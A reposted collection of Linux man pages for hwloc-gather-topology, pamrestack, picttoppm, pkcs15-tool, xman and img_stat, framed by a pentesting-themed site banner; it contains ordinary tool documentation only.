  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

793 - Linux cli command hwloc-gather-topology

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-gather-topology and provides detailed information about the command hwloc-gather-topology, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-gather-topology.

NAME 🖥️ hwloc-gather-topology 🖥️

gather-topology - Saves the relevant Linux and x86 topology files and the lstopo textual and XML outputs for later (possibly offline) usage

SYNOPSIS

hwloc-gather-topology [options] <path>

OPTIONS

–io
Also gather I/O related files. The gathering may be much slower, and the generated archive may be much bigger.

–dmi
Also gather DMI/SMBIOS related files. The gathering requires root access, and the dmi-sysfs kernel module should be loaded.

–dt
Also gather Device-Tree CPU files. These files aren’t needed for hwloc, but they may be used for debugging what Linux exposes in /sys.

–no-cpuid
Do not gather x86 CPUID dump using hwloc-gather-cpuid.

–keep
Keep the temporary copy of dumped files instead of destroying it.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-gather-topology saves all the relevant topology files into an archive (<path>.tar.bz2), the lstopo output (<path>.output), and the lstopo XML (<path>.xml). The utility for example stores the /proc/cpuinfo file and the entire /sys/devices/system/node/ directory tree.

These files can be used later to explore the machine topology offline. Once the tarball has been extracted, it may for instance be given to some hwloc command-line utilities through their –input option. It is also possible to override the default topology that the hwloc library will read by setting the extracted path in the HWLOC_FSROOT environment variable.

The archive and the lstopo textual and XML outputs may also be submitted to hwloc developers to debug issues remotely.

hwloc-gather-topology is a Linux specific tool, it is not installed on other operating systems.

NOTE: hwloc-gather-topology gathers many hardware details about the platform. The outputs and tarball should not be posted on public lists or websites unless it is clear that they contain no sensitive information.

NOTE: The gathering may take several minutes, especially on large nodes.

NOTE: It is highly recommended that you read the hwloc(7) overview page before reading this man page.

EXAMPLES

To store topology information to be used later (possibly on a different host) please run:

hwloc-gather-topology /tmp/myhost

It will store all relevant topology files in the /tmp/myhost.tar.bz2 archive, the lstopo output in the /tmp/myhost.output file, and the lstopo XML in the /tmp/myhost.xml file. These files can be transferred on another host for later/offline analysis and/or as the input to various hwloc utilities.

To use these data with hwloc utilities you have to unpack myhost.tar.bz2 archive first:

tar jxvf /tmp/myhost.tar.bz2

A new directory named myhost now contains all topology files. Then you ask various hwloc utilities to use this topology instead of the one of the real machine by passing –input myhost. To display the topology just run:

lstopo –input ./myhost

It is not necessary that the topology is extracted in the current directory, absolute or relative paths are also supported:

lstopo –input /path/to/remote/host/extracted/topology/

To see how hwloc would distribute 8 parallel jobs on the original host:

hwloc-distrib –input myhost –single 8

To get the corresponding physical indexes in the previous command:

hwloc-calc –input myhost –po –li –proclist $(hwloc-distrib –input myhost –single 8)

Any program may actually override the default topology with a given archived one even if it does not have a –input option. The HWLOC_FSROOT environment variable should be used to do so:

HWLOC_FSROOT=myhost hwloc-calc –po –li –proclist $(hwloc-distrib –single 8)

All these commands will produce the same output as if executed directly on the host on which the topology information was originally gathered by the hwloc-gather-topology script.

RETURN VALUE

Upon successful execution, hwloc-gather-topology will exit with the code 0.

hwloc-gather-topology will return nonzero exit status if any kind of error occurs, such as (but not limited to) failure to create the archive or output files.

SEE ALSO

hwloc(7), lstopo(1), hwloc-gather-cpuid(1), hwloc-calc(1), hwloc-distrib(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

794 - Linux cli command pamrestack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamrestack and provides detailed information about the command pamrestack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamrestack.

.

Updated:

NAME 🖥️ pamrestack 🖥️

Rearrange rows of a Netpbm image

SYNOPSIS

pamrestack

[**-width=**width]

[-trim={fill|crop|abort}]

[-verbose]

[pamfile]

Minimum unique abbreviations of option are acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamrestack rearranges the pixels of a Netpbm image into different size rows. E.g. if an image is 100 pixels wide and 50 pixels high, you can rearrange it to 125 wide and 40 high. In that case, 25 pixels from the start of the 2nd row of the input would be moved to the end of the 1st row of input, 50 pixels from the 3rd row would be moved to the 2nd row, etc.

Put another way, pamrestack arranges all the input rows into one long sequence and produces output rows therefrom, in FIFO order.

Input is from Standard Input if you don’t specify the input file pamfile.

Output is to Standard Output.

pamrestack works on a multi-image stream. It cuts each image in the stream independently and produces a multi-image stream output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamrestack recognizes the following command line options:

**-width=**width
The width of the output. If this option is not specified, the output will consist of a single row wide enough to contain all the pixels of the input image.

-trim={fill|crop|abort}
This option specifies what to do when the new width does not cleanly divide the number of pixels in the input image.

fill
(Default) Complete the final row by adding black pixels as necessary.

crop
Discard the final partial row. If this means there is nothing to output, fail the program.

abort
Fail the program..

-verbose
Print information about the processing to Standard Error.

USAGE

pamrestack is a general editor with many possible uses.

  • pamrestack can rearrange into rectangles single-dimension images produced by programs such as ppmhist and pamseq. This makes the output easier to examine with a viewer. Conversely, pamrestack can be used to convert a normal rectangular image into one wide row or one tall column if that is desirable for compression, conversion, or analysis.

  • pamrestack can repair images corrupted by an incorrect width value in the header. Images grabbed from the framebuffer device often exhibit this problem.

  • pamrestack can be used with pamdice, pamundice, pamcat, etc. to divide and combine images in the process of interlacing.

EXAMPLES

  • Rearrange the one-dimensional output of pamseq into a square:
pamseq 3 255 | pamrestack -width=4096
  • Combine two files, each 600 pixels wide, one with the odd rows and another with the even rows, to construct an interlaced image:
pamcat -leftright oddrows.ppm evenrows.ppm | pamrestack -width=600
  • Like the above, but invert all pixels in the even rows left to right to produce a serpentine interlace:
  pamflip -leftright evenrows.ppm |
    pamcat -leftright oddrows.ppm - |
      pamrestack -width 600

SEE ALSO

pamseq(1) , ppmhist(1) , pnmshear(1) , pamscale(1) , pamdeinterlace(1) , pamdice(1) , pamundice(1) , pamcat(1) , pam(1)

HISTORY

pamrestack was new in Netpbm 10.99 (June 2022).

AUTHOR

By Akira F. Urushibata. Contributed to the public domain by the author.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamrestack.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

795 - Linux cli command picttoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command picttoppm and provides detailed information about the command picttoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the picttoppm.

.

NAME 🖥️ picttoppm 🖥️

convert a Macintosh PICT file to a PPM

SYNOPSIS

picttoppm

[**-verbose=**n]

[-fullres]

[-noheader]

[-quickdraw] [-fontdir file]

[pictfile]

DESCRIPTION

This program is part of Netpbm(1) .

picttoppm reads a PICT file (version 1 or 2) and outputs a PPM image.

PICT is an image format that was developed by Apple Computer in 1984 as the native format for Macintosh graphics. A PICT image is encoded in QuickDraw commands. The PICT format is a meta-format that can be used for both bitmap images and vector images. PICT is also known as “Macintosh Picture” format, or the QuickDraw Picture format.

PICT files are primarily used to exchange graphics between various Macintosh applications.

In MacOS X, PDF replaces PICT as the main graphics format.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), picttoppm recognizes the following command line options:

-fontdir file
Make the list of BDF fonts in file available for use by picttoppm when drawing text. See below for the format of the fontdir file. This is in addition to the built-in fonts and those in the file fontdir.

-fullres
Force any images in the PICT file to be output with at least their full resolution. A PICT file may indicate that a contained image is to be scaled down before output. This option forces images to retain their sizes and prevent information loss. This option disables all PICT operations except images.

-noheader
Do not assume the first 512 bytes of the file are a header. All PICT files have such a header, but this is useful when you have PICT data that was not stored in the data fork of a PICT file.

-quickdraw
Execute only pure quickdraw operations. In particular, turn off the interpretation of special PostScript printer operations.

**-verbose=**n
Print a whole bunch of information about the PICT file and the conversion process that only picttoppm hackers really care about.

n is the verbosity level, 0-2.

Before Netpbm 10.98 (March 2022), this option is a flag option that you specify multiple times to specify increasing verbosity.

LIMITATIONS

The PICT file format is a general drawing format. picttoppm does not recognize all the drawing commands, but it does fully implement all image commands and mostly implements line, rectangle, polygon and text drawing. It is useful for converting scanned images and some drawing conversion.

With -fullres, picttoppm ignores text drawing commands. Beginning in Netpbm 10.45 (December 2008), it issues a warning message when it omits text for this reason.

FONTS

Some of the information in a PICT file is text, with a number indicating the font in which the text is supposed to rendered. picttoppm has one built-in font, but you can add others by directing picttoppm to BDF font files, which you do with font directory files.

picttoppm automatically uses the file named fontdir in the current directory, if it exists. You may specify an additional font directory file with the -fontdir option.

Obviously the font definitions are strongly related to the Macintosh. You can find more font numbers and information about fonts in Macintosh documentation.

Font Directory File Format

Each line in the file is either a comment or font information. A comment begins with #. The font information consists of 4 whitespace separated fields. The first is the font number, the second is the font size in pixels, the third is the font style and the fourth is the name of a BDF file containing the font. The BDF format is defined by the X Window System and is beyond the scope of this document.

The font number indicates the type face. Here is a list of known font numbers and their faces.

0
Chicago

1
application font

2
New York

3
Geneva

4
Monaco

5
Venice

6
London

7
Athens

8
San Franciso

9
Toronto

11
Cairo

12
Los Angeles

20
Times Roman

21
Helvetica

22
Courier

23
Symbol

24
Taliesin

The font style indicates a variation on the font. Multiple variations may apply to a font and the font style is the sum of the variation numbers which are:

1
Boldface

2
Italic

4
Underlined

8
Outlined

16
Shadow

32
Condensed

64
Extended

SEE ALSO

Inside Macintosh volumes 1 and 5, ppmtopict(1) , ppm(1)

AUTHOR

Copyright 1993 George Phillips

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/picttoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

796 - Linux cli command pkcs15-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkcs15-tool and provides detailed information about the command pkcs15-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkcs15-tool.

NAME 🖥️ pkcs15-tool 🖥️

tool - utility for manipulating PKCS #15 data structures on smart cards and similar security tokens

SYNOPSIS

pkcs15-tool [OPTIONS]

DESCRIPTION

The pkcs15-tool utility is used to manipulate the PKCS #15 data structures on smart cards and similar security tokens. Users can list and read PINs, keys and certificates stored on the token. User PIN authentication is performed for those operations that require it.

OPTIONS

–version

Print the OpenSC package release version.

–aid aid

Specify in a hexadecimal form the AID of the on-card PKCS#15 application to bind to.

–auth-id id, -a id

Specifies the auth id of the PIN to use for the operation. This is useful with the –change-pin operation.

–change-pin

Changes a PIN or PUK stored on the token. User authentication is required for this operation.

–dump, -D

List all card objects.

–list-info

List card objects.

–list-applications

List the on-card PKCS#15 applications.

–list-certificates, -c

List all certificates stored on the token.

–list-data-objects, -C

List all data objects stored on the token. For some cards the PKCS#15 attributes of the private data objects are protected for reading and need the authentication with the User PIN. In such a case the –verify-pin option has to be used.

–list-keys, -k

List all private keys stored on the token. General information about each private key is listed (eg. key name, id and algorithm). Actual private key values are not displayed. For some cards the PKCS#15 attributes of the private keys are protected for reading and need the authentication with the User PIN. In such a case the –verify-pin option has to be used.

–list-secret-keys

List all secret (symmetric) keys stored on the token. General information about each secret key is listed (eg. key name, id and algorithm). Actual secret key values are not displayed. For some cards the PKCS#15 attributes of the private keys are protected for reading and need the authentication with the User PIN. In such a case the –verify-pin option has to be used.

–list-pins

List all PINs stored on the token. General information about each PIN is listed (eg. PIN name). Actual PIN values are not shown.

–list-public-keys

List all public keys stored on the token, including key name, id, algorithm and length information.

–short, -s

Output lists in compact format.

–no-cache

Disables token data caching.

–clear-cache

Removes the users cache directory. On Windows, this option additionally removes the systems caching directory (requires administrator privileges).

–output filename, -o filename

Specifies where key output should be written. If filename already exists, it will be overwritten. If this option is not given, keys will be printed to standard output.

–raw

Changes how –read-data-object prints the content to standard output. By default, when –raw is not given, it will print the content in hex notation. If –raw is set, it will print the binary data directly. This does not affect the output that is written to the file specified by the –output option. Data written to a file will always be in raw binary.

–read-certificate cert

Reads the certificate with the given id.

–read-data-object data, -R data

Reads data object with OID, applicationName or label. The content is printed to standard output in hex notation, unless the –raw option is given. If an output file is given with the –output option, the content is additionally written to the file. Output to the file is always written in raw binary mode, the –raw only affects standard output behavior.

–read-public-key id

Reads the public key with id id, allowing the user to extract and store or use the public key.

–read-ssh-key id

Reads the public key with id id, writing the output in format suitable for $HOME/.ssh/authorized_keys.

The key label, if any will be shown in the Comment field.

–rfc4716

When used in conjunction with option –read-ssh-key the output format of the public key follows rfc4716.

The default output format is a single line (openssh).

–test-update, -T

Test if the card needs a security update

–update, -U

Update the card with a security update

–reader arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–unblock-pin, -u

Unblocks a PIN stored on the token. Knowledge of the Pin Unblock Key (PUK) is required for this operation.

–verbose, -v

Causes pkcs15-tool to be more verbose. Specify this flag several times to enable debug output in the OpenSC library.

–pin pin, –new-pin newpin, –puk puk

These options can be used to specify the PIN/PUK values on the command line. If the value is set to env:VARIABLE, the value of the specified environment variable is used. By default, the code is prompted on the command line if needed.

Note that on most operation systems, any user can display the command line of any process on the system using utilities such as ps(1). Therefore, you should prefer passing the codes via an environment variable on an unsecured system.

–new-pin pin

Specify New PIN (when changing or unblocking)

–verify-pin

Verify PIN after card binding and before issuing any command (without auth-id the first non-SO, non-Unblock PIN will be verified)

–test-session-pin

Equivalent to –verify-pin with additional session PIN generation

–wait, -w

Causes pkcs15-tool to wait for a card insertion.

–use-pinpad

Do not prompt the user; if no PINs supplied, pinpad will be used.

SEE ALSO

pkcs15-init(1), pkcs15-crypt(1)

AUTHORS

pkcs15-tool was written by Juha Yrjölä <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

797 - Linux cli command xman

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xman and provides detailed information about the command xman, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xman.

NAME 🖥️ xman 🖥️

Manual page display program for the X Window System

SYNOPSIS

xman [ -options . . . ]

DESCRIPTION

Xman is a manual page browser. The default size of the initial xman window is small so that you can leave it running throughout your entire login session. In the initial window there are three options: Help will pop up a window with on-line help, Quit will exit, and Manual Page will pop up a window with a manual page browser in it. Typing Control-S will pop up a window prompting for a specific manual page to display. You may display more than one manual page browser window at a time from a single execution of xman.

For further information on using xman, please read the on-line help information. Most of this manual will discuss customization of xman.

OPTIONS

Xman supports all standard Toolkit command line arguments (see X(7)). The following additional arguments are supported.

-helpfile filename
Specifies a helpfile to use other than the default.

-bothshown
Allows both the manual page and manual directory to be on the screen at the same time.

-notopbox
Starts without the Top Menu with the three buttons in it.

-geometry WxH+X+Y
Sets the size and location of the Top Menu with the three buttons in it.

-pagesize WxH+X+Y
Sets the size and location of all the Manual Pages.

-help
Print a usage message and exit.

-version
Print the program version and exit.

CUSTOMIZING XMAN

Xman allows customization of both the directories to be searched for manual pages, and the name that each directory will map to in the Sections menu. Xman determines which directories it will search by reading the MANPATH environment variable. If no MANPATH is found then the directory is /usr/man is searched on POSIX systems. This environment is expected to be a colon-separated list of directories for xman to search.

setenv MANPATH /mit/kit/man:/usr/man

By default, xman will search each of the following directories (in each of the directories specified in the users MANPATH) for manual pages. If manual pages exist in that directory then they are added to list of manual pages for the corresponding menu item. A menu item is only displayed for those sections that actually contain manual pages.

DirectorySection Name
--
man1(1) User Commands
man2(2) System Calls
man3(3) Subroutines
man4(4) Devices
man5(5) File Formats
man6(6) Games
man7(7) Miscellaneous
man8(8) Sys. Administration
manl(l) Local
mann(n) New
mano(o) Old

For instance, a user has three directories in her manual path and each contain a directory called man3. All these manual pages will appear alphabetically sorted when the user selects the menu item called (3) Subroutines. If there is no directory called mano in any of the directories in her MANPATH, or there are no manual pages in any of the directories called mano then no menu item will be displayed for the section called (o) Old.

BSD AND LINUX SYSTEMS

In newer BSD and Linux systems, Xman will search for a file named /etc/man.conf which will contain the list of directories containing manual pages. See man.conf(5) for a complete description of the file format.

THE MANDESC FILE

By using the mandesc file a user or system manager is able to more closely control which manual pages will appear in each of the sections represented by menu items in the Sections menu. This functionality is only available on a section by section basis, and individual manual pages may not be handled in this manner. (Although generous use of symbolic links — see ln(1) — will allow almost any configuration you can imagine.)

The format of the mandesc file is a character followed by a label. The character determines which of the sections will be added under this label. For instance suppose that you would like to create an extra menu item that contains all programmer subroutines. This label should contain all manual pages in both sections two and three. The mandesc file would look like this:

2Programmer Subroutines
3Programmer Subroutines

This will add a menu item to the Sections menu that would bring up a listing of all manual pages in sections two and three of the Programmers Manual. Since the label names are exactly the same they will be added to the same section. Note, however, that the original sections still exist.

If you want to completely ignore the default sections in a manual directory then add the line:

no default sections

anywhere in your mandesc file. This keeps xman from searching the default manual sections In that directory only. As an example, suppose you want to do the same thing as above, but you don’t think that it is useful to have the System Calls or Subroutines sections any longer. You would need to duplicate the default entries, as well as adding your new one.

no default sections
1(1) User Commands
2Programmer Subroutines
3Programmer Subroutines
4(4) Devices
5(5) File Formats
6(6) Games
7(7) Miscellaneous
8(8) Sys. Administration
l(l) Local
n(n) New
o(o) Old

Xman will read any section that is of the form man<character>, where <character> is an upper or lower case letter (they are treated distinctly) or a numeral (0-9). Be warned, however, that man(1) and catman(8) will not search directories that are non-standard.

WIDGETS

In order to specify resources, it is useful to know the hierarchy of the widgets which compose xman. In the notation below, indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name.

Xman xman       (This widget is never used)
        TopLevelShell  topBox
                Form  form
                        Label  topLabel
                        Command  helpButton
                        Command  quitButton
                        Command  manpageButton
                TransientShell  search
                        DialogWidgetClass  dialog
                                Label  label
                                Text  value
                                Command  manualPage
                                Command  apropos
                                Command  cancel
                TransientShell  pleaseStandBy
                        Label  label
        TopLevelShell  manualBrowser
                Paned  Manpage_Vpane
                        Paned  horizPane
                                MenuButton  options
                                MenuButton  sections
                                Label  manualBrowser
                        Viewport  directory
                                List  directory
                                List  directory
                                .
                                . (one for each section,
                                .  created on the fly)
                                .
                        ScrollByLine  manualPage
                SimpleMenu  optionMenu
                        SmeBSB  displayDirectory
                        SmeBSB  displayManualPage
                        SmeBSB  help
                        SmeBSB  search
                        SmeBSB  showBothScreens
                        SmeBSB  removeThisManpage
                        SmeBSB  openNewManpage
                        SmeBSB  showVersion
                        SmeBSB  quit
                SimpleMenu  sectionMenu
                        SmeBSB  <name of section>
                                .
                                . (one for each section)
                                .
                TransientShell  search
                        DialogWidgetClass  dialog
                                Label  label
                                Text  value
                                Command  manualPage
                                Command  apropos
                                Command  cancel
                TransientShell  pleaseStandBy
                        Label  label
                TransientShell  likeToSave
                        Dialog  dialog
                                Label  label
                                Text  value
                                Command  yes
                                Command  no
        TopLevelShell  help
                Paned  Manpage_Vpane
                        Paned  horizPane
                                MenuButton  options
                                MenuButton  sections
                                Label  manualBrowser
                        ScrollByLine  manualPage
                SimpleMenu  optionMenu
                        SmeBSB  displayDirectory
                        SmeBSB  displayManualPage
                        SmeBSB  help
                        SmeBSB  search
                        SmeBSB  showBothScreens
                        SmeBSB  removeThisManpage
                        SmeBSB  openNewManpage
                        SmeBSB  showVersion
                        SmeBSB  quit

APPLICATION RESOURCES

xman has the following application-specific resources which allow customizations unique to xman.

manualFontNormal (Class Font)
The font to use for normal text in the manual pages.

manualFontBold (Class Font)
The font to use for bold text in the manual pages.

manualFontItalic (Class Font)
The font to use for italic text in the manual pages.

directoryFontNormal (Class Font)
The font to use for the directory text.

bothShown (Class Boolean)
Either `true’ or `false,’ specifies whether or not you want both the directory and the manual page shown at start up.

directoryHeight (Class DirectoryHeight)
The height in pixels of the directory, when the directory and the manual page are shown simultaneously.

topCursor (Class Cursor)
The cursor to use in the top box.

helpCursor (Class Cursor)
The cursor to use in the help window.

manpageCursor (Class Cursor)
The cursor to use in the manual page window.

searchEntryCursor (Class Cursor)
The cursor to use in the search entry text widget.

pointerColor (Class Foreground)
This is the color of all the cursors (pointers) specified above. The name was chosen to be compatible with xterm.

helpFile (Class File)
Use this rather than the system default helpfile.

topBox (Class Boolean)
Either `true’ or `false,’ determines whether the top box (containing the help, quit and manual page buttons) or a manual page is put on the screen at start-up. The default is true.

verticalList (Class Boolean)
Either `true’ or `false,’ determines whether the directory listing is vertically or horizontally organized. The default is horizontal (false).

GLOBAL ACTIONS

Xman defines all user interaction through global actions. This allows the user to modify the translation table of any widget, and bind any event to the new user action. The list of actions supported by xman are:

GotoPage(page)****
When used in a manual page display window this will allow the user to move between a directory and manual page display. The page argument can be either Directory or ManualPage.

Quit()
This action may be used anywhere, and will exit xman.

Search(type,** action**)****
Only useful when used in a search popup, this action will cause the search widget to perform the named search type on the string in the search popup’s value widget. This action will also pop down the search widget. The type argument can be either Apropos, Manpage or Cancel. If an action of Open is specified then xman will open a new manual page to display the results of the search, otherwise xman will attempt to display the results in the parent of the search popup.

PopupHelp()
This action may be used anywhere, and will popup the help widget.

PopupSearch()
This action may be used anywhere except in a help window. It will cause the search popup to become active and visible on the screen, allowing the user search for a manual page.

CreateNewManpage()
This action may be used anywhere, and will create a new manual page display window.

RemoveThisManpage()
This action may be used in any manual page or help display window. When called it will remove the window, and clean up all resources associated with it.

SaveFormattedPage(action)****
This action can only be used in the likeToSave popup widget, and tells xman whether to Save or Cancel a save of the manual page that has just been formatted.

ShowVersion()
This action may be called from any manual page or help display window, and will cause the informational display line to show the current version of xman.

FILES

<manpath directory>/man<character>

<manpath directory>/cat<character>

<manpath directory>/mandesc

/etc/X11/app-defaults/Xman
specifies required resources.

/tmp
Xman creates temporary files in /tmp for all unformatted man pages and all apropos searches.

SEE ALSO

X(7), man(1), apropos(1), catman(8), Athena Widget Set

ENVIRONMENT

DISPLAY
the default host and display to use.

MANPATH
the search path for manual pages. Directories are separated by colons (e.g. /usr/man:/mit/kit/man:/foo/bar/man).

XENVIRONMENT
to get the name of a resource file that overrides the global resources stored in the RESOURCE_MANAGER property.

XAPPLRESDIR
A string that will have ``Xman’’ appended to it. This string will be the full path name of a user app-defaults file to be merged into the resource database after the system app-defaults file, and before the resources that are attached to the display.

AUTHORS

Chris Peterson, MIT X Consortium from the V10 version written by Barry Shein formerly of Boston University. Bug fixes and Linux support by Carlos A M dos Santos, for The XFree86 Project.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

798 - Linux cli command img_stat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command img_stat and provides detailed information about the command img_stat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the img_stat.

NAME 🖥️ img_stat 🖥️

Display details of an image file

SYNOPSIS

img_stat [-i imgtype] [-b dev_sector_size] [-tvV] image [images]

DESCRIPTION

img_stat displays the details associated with an image file. The output of this command is image format specific. At a minimum, the size will be given and the byte range of each file will be given for split image formats.

ARGUMENTS

-i imgtype
Identify the type of image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-t
Print the image type only.

-v
Verbose output of debugging statements to stderr

-V
Display version

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

